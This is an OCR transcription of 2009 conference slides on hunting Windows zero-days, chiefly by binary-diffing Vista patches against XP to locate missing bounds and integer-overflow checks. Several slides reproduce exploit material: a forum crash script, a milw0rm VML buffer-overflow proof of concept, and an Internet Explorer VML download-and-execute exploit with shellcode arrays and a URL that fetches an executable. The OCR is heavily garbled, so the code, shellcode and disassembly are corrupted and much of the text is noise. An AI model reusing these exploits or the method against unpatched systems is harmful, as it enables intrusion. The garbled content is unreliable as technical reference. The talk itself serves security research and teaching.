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Who Am |?

Independent Security researcher (Previously worked at
Websense Security Labs, Checkpoint)

Hunting for vulnerabilities

Reverse engineering Microsoft patches

Writing plug-in for IDA and OllyDbg

Mobile developer (iPhone,BlackBerry)

Founder of the Gamepe project www.gamepe.com

Multi-IM software for PC games



Agenda

Microsoft patches little sister but forgets big brother

In the next hour, we will cover:

Introduce past zero-day exploits
Discuss how software vulnerabilities are found

How a programmer’s bug is a hacker’s treasure silently
Why attackers hunt for zero-days
Microsoft silently fixed vulnerabilities

Hunting zero-days the easy way: DIFFING!

NOTE: a talk from a hacker perspective.



C-D4

A zero-day (or zero-hour) attack or threat is a computer threat that
tries to exploit computer software vulnerabilities

which are unknown to others, undisclosed to the software vendor,
or without an available security fix
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Oday 2007

Windows URI Protocol Handling

Date Disclosed: 7/25/2007

MSN Messenger Video Conversation Heap Overflow
Date Disclosed: 1/31/2007

Microsoft DNS RPC Buffer Overflow

Date Disclosed: 4/7/2007

Windows .ANI Processing

Date Disclosed: 3/28/2007

Word Unspecified Exploit(3)

Date Disclosed: 1/25/2007


http://research.eeye.com/html/alerts/zeroday/20070725.html
http://research.eeye.com/html/alerts/zeroday/20070131.html
http://research.eeye.com/html/alerts/zeroday/20070407.html
http://research.eeye.com/html/alerts/zeroday/20070328.html
http://research.eeye.com/html/alerts/zeroday/20070125.html

Oday 2008

Microsoft Internet Explorer XML Processing

Date Disclosed: 11/15/2008
Date Disclosed: 7/8/2008
Date Disclosed: 7/7/2008

Date Disclosed:10/15/2008


http://research.eeye.com/html/alerts/zeroday/20080708.html
http://research.eeye.com/html/alerts/zeroday/20080707.html
http://research.eeye.com/html/alerts/zeroday/20080707.html

Oday 2009

¢ Excel Invalid Object

® Microsoft Service Message Block (SMB)

®* Microsoft Internet Information Services (IIS)

® Microsoft Windows ActiveX Controls ATL

"OleLoadFromStream()" Vulnerability




Who hunts vulnerability

Security Companies (eEye, NGIS, ISS, NSFOCUS. Secunia)

Independent Researchers/Hackers
grey,black,white hat

Vendors

The “Others”



Who uses Oday
Security Companies /Intelligence departments
Hackers
Pen-testers

Worms/malware coders
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Who is the target
® Military
® Business

® You? Me? And everybody!
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NICOLE KIDMAN

20th November 2009

Why hunt for 0-day?

HACKING

S5 THEART-OF EXBLGITATION
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Will they buy it?

13



But some will never sell !

BLACKHAT FORUMS

ANTI SECURITY INDUSTRY MOVEMENT

FUCK SECURITY INDUSTRY , FUCK FULL DISCLOSURE
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Source code audit

Binary Audit (RE)

Fuzzing

Surfing the web !

How to hunt for Oday
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Surfing the Web for a zero-day?

A forum member by the name of "Caveman" posted this
code on a gaming forum. He claimed that he succeeded

in "crashing” someone's computer with the posted script.

Caveman
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OWNED!
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55he11cade3%te5 replacer
gn 24— Fa—F][n —Sa-Fa-fF]lsv( [P-2a-Fa-f] [O-9a-Fa-T] 1. 0.

pH
=/script =
<BODY =

<8, HREF=hTtpsi————— =

-

<8 MREF=hTTpSi———————— e
<IME SRC=". 'tiger_card. {pg” widrth="2920999"” height="0202999" >
< BODY >
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Just a DoS ? 2006-09-19

Ll—=
Currently just a Dol

Ei¥ is controllable and currently it crashes when trying to mowve EEBX into the location pointed to hy ELX

Shirkdog
-

<htiwl xwlns:v="urn:schemas-microsoft-comw:viol™=-

<head>

<obhject id="VHLEender" classid="CL3ID:10072CEC-8CC1-11D1-9536E-O0AOCSES5E42ZEM >
</fohjectr

<stylex

whi® { hehavior: url (FVMLRender): 1}

<fatyler

</ head:

<hody>

<wirect style='width:1lZ0ptrheight:50pt' fillcolor="red’™:>

<wifill method="AARARA R iR A AR AR R AR AR AR AR AR AR RRRARDD
foous="100%" focusposition=".5,.5" focussize="0O,0"

type="gradientRadial™ />

<fvirectr

</hodyr
</html>

# milwOrm.com [Z2006-09-19]
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The day after ! 2006-09-20

s
fT—__—m——M——e—ee—ee—,e—eee—ee— e e e e e e e e e e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e, e e e — e — — — — — — — — — — —
=l .o — ITnternet Explorer WHIL Buffer CTrrerflow Dowvnlo=s:md Execoc Exploit

L. Od=s L. Pulhlic Wersiorn L
Copsr Aol | | =005 HSeco A1l Fights Ressr-weddd.
R ER o s Rl H ho Tl ]

: nopH#xsec .o oror
: http: s Awww. xsSs=ec o ooy

Testeaed = Mindows 2000 Sersrsrr CIM
= + Imternet Explorexrx s .0 =SP4

Cormp 1l i H — 1 =l .
T=sagse H Az wFrnl
T=age = 1l <TTRL = CLhomlXtfile]

At vl htototp: A Nsec . orglf<x<x.exe . hitio

ERE R R R B S R R S R B SR R A R

HFinolude ==stdico. =
HFinclude ==tdlilkb.h>
Hinclude =Zwindows. Il

FILE *fp = INMULL:
char Trile = frrsec o hitorm™ o
chsar *arl = IMUOLL -

Hderfine IMOPSIZE =z S0
HdeLfine MAXURL &0

AADWIORD ret = Ox7FLEf=4945S 12 e —=ll esp £for ORI
DWORD r=t = Ox=x7S00ZCDD: A4 oc=l1ll esp £for A1l winzZk

A Search Shelloods

mmn=igrned ohhasy Ac [] =

ey xSEY xDCYy xEBEY x6F N, HEFW HEF Y 27O HIEY xBF Y HEF S, 30N 30N 270N HAFN, 35 3 arr
ey B, x5 FEY 32BN XS0 33 HEEN 39N xS HF O, P EN HF P FFS D3 T 2

A Shellocodse Stcart
mn=igned char dostart [[] =
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Let's go hunting




Let's go hunting

Binary Audit

Win32 Symbolic Debugger
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DIFFING FOR 0DAY!
Microsoft patches little sister but forgets big brother




Safe API

[ Stfigescat

[] StringChCatEx
[] StringChCath

[] StringChCathEx
[ StringChCopy
[] StringChCapyEx
[] StringChCopyN
[] StringChCopyNEx
[] StringChGets

[] StringChGetsEx
[] StringChlLength
[ StringChPrintf
[ StringChPrintfEx
[] StringChVPrintf
[] StringChVPrintfEx
[] StringCchCat

[ StringCchCatEx
[] StringCchCatn
[ StringCchCathEx
[] StringCchCopy
[ StringCchCopyEx
[ StringCchCopyN
[] StringCchCopyNEx
[ StringCchGets
[ StringCchGetsEx
[ StringCchLength
[] StringCchPrintf
[ StringCchPrintfEx
[ StringCchVPrintf
[] StringCchVPrintfEx

[E] Math Functions

g g

DWordadd
DWordMult
DWordPtradd
DWordPtrMult
DWordPtrSub
DWordSub
SizeTAdd
SIZETAdd
SizeTMult
SIZETMult
SizeTsub
SIZETSub
UIntadd
UIntMult
UIntPtradd
UIntPtrMult
UIntPtrSub
UIntSub
ULongAdd
ULongLongadd
ULongLongMult
ULongLongSub
ULongMult
ULongPtradd
ULongPtrMult
ULongPtrSub
ULongSub
UShortadd
UshortMult
UshortSub
WordAdd
WordMult
WordSub
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BINARY DIFFING SUITE

$’ Binary Diffing Starter

e

eEye Digital Securitys

BDS Info |

—BDS Levels
V¥ BEDS Level 1
V¥ EDS Level 2

— Plugins

[T DaunGrim
I auto-Diff

I~ IDC Script

™ IDARUb
[ IDAPython

=101

— Path Configuration
" File Diffing I

Directary Diffing

Fre-Path:

|
Post-Path: |
|

Output-Path;

Welcome to the Binary Diffing Starter from eBEye Research.
Zelect vour optionz, filesidirectories, and let the diffing begin.

Mate: when performing disassembly actions, larger files will take
substantially more time.

JLLL

|
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Example #1 Fully Patched Vista
Safe “strcpy”

PaLAILLE
Pa4AI5LE
P84O954B
PE4AISLE
P84A9551
PeL4A9553
PRLO955S
PRLAOLLY
PeLAILER
PELAYLEE
PB4AISSE
PE4AISSF
P84A9561
PBLAYS62
PRLOSHT
PRLAISHD
PRLAS 6B
PaLALY2
PaLA9ST2
Pe4A9ST2
PE4A95T73
PRLAIST6
PRLAISTD
PRLO9S/B
PRLAILTD
PaLAILYD
Pa4AISID
PE4ASTD

loc_284089548:

loc_28489572:

loc_2848957D:

; CODE XREF: CHConvIndexToName{x,%,x,x)+8F]j
eax, [ebp+arg 4]
eax, [eax+esi=lh]
eax, [ebp+var_8]
short loc_2848957D
eax, Bax
cshort loc_284@957D
Bax
eax, [ebp+arg_8]
eax, ebx
eax
28h
edi

_StringCchCopyA@E12 ; StringCchCopyn{x,x,%)

eax, eax
short loc_28489572
[ebp+var_u], 6

; CODE XREF: CHConvIndexToMame(x,x,%,x)+7F1j
esi
edi, 28h
esi, [ebp+arg C]
short loc_284@9548
chort loc_284@958D

; CODE XREF: CHConvIndexToMame(x,x,%,x)+671;j
; EMBnnuIndexTnHame(x,x,x,x)+6BTj
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Example #1 Fully Patched XP

b 1l y L} i y .
ext:G6EQ7DCE eax, [ebp+arg_u]
ext:66E97DCHE eax, [eax+edi=l]
ext:66E97DCE eax, [ebp-i]
ext:66E97DD i short loc_ GGE97DF9
ext-a6EQ7DDI eax, eax

extG6GED7DDS short loc_ 6GE97DFQ
ext66EQ7DDY eax

ext:46EQ7DDE eax, [ebp+arg 8]
extG66EQ7DDC eax, [eax+esi+5hh]
ext-66E97DERA edx, ebx

ext-a6EQ7DEZ edx, eax

ext66E97DEY

ext:66E970Es NN - ; CODE XREF: CWHMatchBitmap(x,x,%,%,x)+4C70)]
ext66E97DEY cl, [eax]

extG6ED7DEG [edx+eax], cl
ext:66E97DEY i eax

ext:606E97¥DER cl, cl

ext:66E97DEC j ERGISN1 0 6GE97DEY
ext:66E97DEE i edi

ext66E97DEF ebx, 28h

ext:66E97DF2 edi, [ebptarg C]
ext:66E97DFS i short loc_GGE97DCSB
extG6EQ7DFY i short loc 6GEQ7E@D
ext:66E97DF? ;

ext66E97DF?

ext:66E97DF? loc GGEQ7DFO: CODE SREF: EHMatchBitmap{x,x,x,x,x}+uE5FTj
ext-66EQ7DFD H EWMatchBitmap(x,x,x,x,x}+uE63Tj
ext:66EQ7DFD dword ptr [ebp-l], FEGh
ext:66E97EBA i short loc_ GGE97E@9
ext:66E97ED2 ;

20th November 2009



Example #2 Fully Patched VISTA

Boundary Check for string length >16 bytes

== WinGraph3Z - secondary: _BrQueryOtherDomains@sg - 2.0 i m]

File Wiew Zoom Mowe Help

| ®|are |+ [ ole|== [

b ine [ ebp + var I8 ] =
. [ ebp + var_ T8 ]
cmp word pte [ esi 1 , D 23; ?a:b)
: p + var_B0 ] DCh
jz short  BCYZBEYYIoc_BLYZBEYY emp gax , [ Bbp + var AL ]
jb short BLCYZBE3Y 1o BLCYZBESY

movzx eax , word ptr [ esi ]
emp ax , 0OFh
ja short BCYZBECBIoc BLYZ2BELB

MOVZX Bax , ax
push eax ; size_t

push dword ptre [ esi + 4 ] ; void *
lea eax , [ ebp + war_Z4 ]
push eax ; void *

call BEYZ1FSZ2_memcpy ,
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Example #2 Fully Patched XP

No Boundary Check for string length >16 bytes

== WinGraph32 - Primary: _BrQueryOtherDomainsad - 2.0 - | I:Ilil

Filz Wiew Zoom Mowe Help

S alalxle|+| o= Y

|:-u:|r ea- , Sa- | 1=

ga= , [ sbp + hHandle ]
ec= , [ sbp + var_80 ]
pop esi Sam . EcH

ry dword ptr [ =2 + 87 , 4
Nz short

inc [ ebp + war_78 ]
mov ea= , [ ebp + war_78 ]
add [ ebp + var_80 ] , Ch A

cnp ea= , [ ebp + war_4C ]
jb short  TEDADL11Toc_TEDADL11

cnp word pte [ ea= ] , O
jz short  TEDADLT1loc_TEDADLTL

movz= ece , word pte [oess ]
esi , [ eam + 4 ]
ed< , ecH
ecH , £
edi , [ sbp + var_24 ]
movsd
ece , ed=
ece , 3
morwshb

20th November 2009 29




Toa eex , [ esi + sdi )
moy pax , ACARADN

P BCX
ile short  BLHTODEA 0e_ BLYTODEA

-BLYTOELY

T~

Bl

sub ecx , 30h

20th November 2009

Example #3 Fully Patched VISTA

moy el o, Bax
sub edi , asi

mov eax , [ ebx ]

mov esi , | edi + B )

mov gcx , | sdi + OCh ]

mov edx , [ edi ]

add wax , [ ebp + arg 4 ]

add esi , [ ebp + argl ]

tmp o1, 41b

mov || ebp + pMem ] , ecx

miyvzx gty , dl

jb short  BLOTOESE o _BLYTOESE
h

add esi , adi
imul esi , OCh
push sbx ;3 pHem
mov shx , ot
add vsi , B
eall eby

push ey

eall ds ¢

push 2002h

push e

push [ ebp + pHen ]

eall ebx
push eix
eall de

Boundary Check for length >0x4C4B40 bytes

[N

mov sax , [ sbp + ar
add [ sbx ] , eax
Moy Bhx , Bhbk

jmp short  BLOTOFAB)

3 BlobalHand e(x)

3 GlobalUnlock(x)

3 BlobalRed)loc(x,x,x%)

30



Example #3 Fully Patched XP

No Boundary Check for length >0x4C4B40 bytes

BAX ), BCX

gax , edx

[ ebp + pMem ] , eax
gax , 200k

[ sbp + pMem ] , eax
short

Moy G5 3 BlobalHandle(x)
push edi
call esi
push eax
call de ot 3 BlobalUnloek(x)
mov eax , [ edi + 4 ]
add sax , [ ebp + pMem ]
push Z0DDZh
Tea sax , [ sax + sax *2]
Tea sax , ds : B [ esax *4]
push eax
push edi
call esi
push eax
call da 3} BlobalRed) loc(x,x,x)
push sax
call ds Bloballock(x)
test sax , Bax
20th November 2009 iz




Example #4 Fully Patched Vista

Boundary Check for INT overflow ULongAdd API

wWinGraph32 - Secondary: _AW¥IClipGetDat

File Wiew =Zoom Mowe Help

= == (el 4| [ ol === [~

Tea earx .
push eax
mow eax
push 4

[ ebp + duBwtes ]

[ ebx + Z0hR ]

—

pop eck
mul ecH mow [ ebp + war_D4 ] , 800400640
push ed:= Jmp BCSE45CD loc_BCS545CD

push eax

call BCABEFAS4_ULonglongTollLong®ly 3
test eax , 2ax

mow [ ebp + o war_ D4 ], o=
J1 BCO9E45CD1oc_EBCIE45CD
I I

e

[ ebp + duBwtes ]

ULongLongTallong (= .= =0

A

Tea earx .
push eax
push [ ebp + dwBytes ]

push dword ptr [ =bs

call BLOBACE4ATULongAaddesyGIKKPAK 2
test eax , sax

ULongAaddCulong,ulong,ulong *2

j1 short ECHE4ECD105:ECHE4ECD

push ebs
call BLCE
mow [ ec
mosw dwor

cmp [ ebp

Jj= short

mowv [ ebp + war_D4 ] Sax
[ ebp + duBytes ]

Tea eax ,
push eax
push [ ebp + dwBytes ]

push dword ptr eb= + 14h ]

call BCYBACE47ULongAddeeyYEIEEFAKES
test s2ax ., 2ax

mov [ ebp + war_D4 ] , eax

J1l short ECS645CD Toc_GBCS5645CD

ULongaddCulong,ulong,ulong +2

0o

—a

[ ebp + dwBytes ]

20420

ds = H
2ax , eax

+ 4 ] , =ax

; Globa a1 loo G el
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Example #4 Fully Patched XP

NO ULongAdd API

test byte ptr [ esidi + 100 ] , 1 chmp [ ebp + pg 1 , D
Jz short TIBSAZDB 1o _T3BSI3 N6 J= short TIBSA335 10 _T3BR51335

push esi’ mov [ ebp + wvacr_DB ] ,

push ZD9Zh Jmp short FIBHAJZ 110

call ds oz P Globalfdlloc(x =2
test eax , Box
mow [ edi + 4 7]

jnz short _)ﬂ(H,)F)ﬂrﬂf)’)ﬂrgf)ﬁijrﬁf)




ext:243CD62C
ext243CD62F
ext:243CD632
ext:243CD635
ext:243CD638
ext:243CDA63B
ext:243CDA3E
ext:243CDA63E
ext243CD63E
ext:243CD641
ext 24300642
ext243CD643
ext:243CD648
ext:243CDA4A
ext:243CDA4C
ext:243CDAUF
ext:243CDA52
ext243CDA55
ext:243CDA58
ext:243CDASE
ext:243CD65D
ext:243CDab6L
ext:243CDAGH
ext:243CDAGD
ext:243CDAGE
ext243CDAGE
ext243CD671
ext243CD6T 4
ext:243CDATY
ext:243CD6TA

Example #5 Fully Patched Vista

A Safe check for the DIB Size

loc_243CDA3E:

eax, [edi+58h]
[esi+58h], eax
eax, [edi+5Ch]
[esi+5Ch], eax
eax, [edi+68h]
[esi+6Bh], eax

» CODE XREF: ConuvertSurfaceDescTo
eax, [ebp+arg_#a]
eax
ebx

_SAFE_DIBSIZEE@E ; SAFE_DIBSIZE(x,x)

eax, eax

short loc_ 243CDAAY
eax, [ebp+arg_#A]
ec®, [ebp+uar_8]
[ebx+14h], eax
[ecx+28h], eaXx
eax, [ebp+arg_8]
eax, eax

dword ptr [ecx+28h], 1
short loc_ 243CDARS
ecy, [eax+8]

ecy, [eax]

edi, [esi+18h]
[esi+8], ecx

ecx, [eax+8Ch]
ecx, [eax+i]
[esi+BCh], ecx
ecx, [ebp+var_ 8]
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Example #5 Fully Patched XP
Not Safe DIB Size calc

[ebp+arg_H], B

dword ptr [ebx+58h], @
cshort loc 78F6DBBE
eax, esi

: CODE XREF: ConvertSurfaceDescTo
cl, [eax+2]
dl, [eax]
[ebp+arg H]
[eax], cCl
ecx, [ebp+arg A]
[eax+2], dl
eax, 4

ecx, [ebx+58h
short

loc_ 7HFG6DBBE: CODE XREF: ConvertiurfaceDescTo
; ConvertSurfaceDescToMediaType{
dword ptr [ebx+48h], B
short loc 78FGDADG




Example #6 Fully Patched Vista

text:BBBEGE3ID ecx, [ebp+ch]
text:-BBBEGEIC ecx:

text: BBBEGE3D L4LB8h

text:BBBEGEIF eax

text:OBBEGELO FULongAddE@EYGJEKPAKEZ ; ULongAdd{ulong,ulong,ulong =}
text:-OBBEQELS eax, eax
text:BBBELGEYT short loc BBEGEZA
text:BBBELGELD eax, [ebp+ch]
text:-OBBEGEALC eax

text: BBEBEGEBLD 18h

text:BBAEGBUF [ebp+cih]
text:BBBEGBSZ TULong5ub@RAYGJEEPAKRZ ; ULongSub{ulong,ulong,ulong =)
text:ABBEGBST eax, eax
text:BBBEGERLD short loc BBEGE2A
text:BBBEGRLE [ebp+ch] ; cth
text:-BBBEGESE ds: ; CoTaskMemAlloc{x=)
text:BBBEGEGL [ebp+ch], eax
text:ABBEGBGT eax, eax
text:BBBEGBGYD Short loc_BOEGBZ2A
text:BBBEGBGE esi, [ebx+4ih]
text:BBEBEGBGE BCh

text:OBBEGETO eax, 4&h
text:-OBBBELGET D ecx:

text:BBBEGET Y edi, eax
text:-OBBEGET G mouvsd

text:OBOEGETE ecx, [ebx+48h]
text:ABBEGBTE ecx, L8h
text:-BBBEGETE ecx:

text:BBBEGBTF ecx, [ebx+44h]
text:ABBEGBRZ ecx, 48h
text:BBBEGEES ecx

text:-OBBBEGEEL eax, J@h
text:-0BBELEED eax

text _memcpuy




Example #6 Fully Patched XP
INT OVERFLOW

edi, edi
ebp
ebp, esp
ebx
ebx, [ebp+arg_8a]
eax, [ebx+48h]
eax, 24
eax

12 6D o6E ds: ; CoTaskMemAlloc (=)
ed=, eax
ed=, edx
[ebp+arg_8], edx
short loc_GEGEB2DA
eax, 2087088Eh
short loc_G6EGEB33C

loc_G6EGEBZDA:

mouv esi, [ebx+44h]
push edi

push BCh

pop BCX

mow edi,

rep mousd

push G

®or eax, eax

pop BCX

lea edi, [ed=x+38h]
rep stosd

moy ecx, [ebx+48h]




push eax

Example #7 Fully Patched Vista

A check for valid path

|jnk short 24141047 ¢

push [ ebp + pszPath ] ; pszPath

call 2414B5D0_PathIsInvalidve4d ; PathIsInvalidv(x)
test eax , Bax

anz short 241410751 0c_ 24141075

push [ ebp + dwFlagsAnddttributes ]

push 3

push eax

push 1

push BODDDNDDH

push [ ebp + pszPath ]
call ds »

mov | esi ], eax

KO BAX , PAX
emp dword pte
setnz al

3 CreateF i 1eWlx, g, 5,55 %)
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push =z

Example #7 Fully Patched XP

'—"—Iﬂl 1 gl—!'—'
mov =bp , esp
push ==1

mov =51, 2o

=0r Sas , oax

cemp [ e=1 + 4 ], sax
Jjz short

cnp dword ptr [ esi ] , OFFFFFFFFh
jnz short  EFD41BAEToc EFD41RAR

push [ ebp + duFlagsfndittiributes ]
3

push

push o=

push 1

push S0000000R

push [ ebp + 1pFilabans ]
call d= :

=Oor ecH , BcH

cmp ea= , OFFFFFFFFR
cetnz ol

mov [ es1 ], sa=
mov Sa- , Soe

=or g- , 23

Jmp short  GFD41BDE

3 CroataF11alf (e m m m m - =0
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A day in a life of a Hacker

Diffing for Oday [LIVE DEMOQ)]
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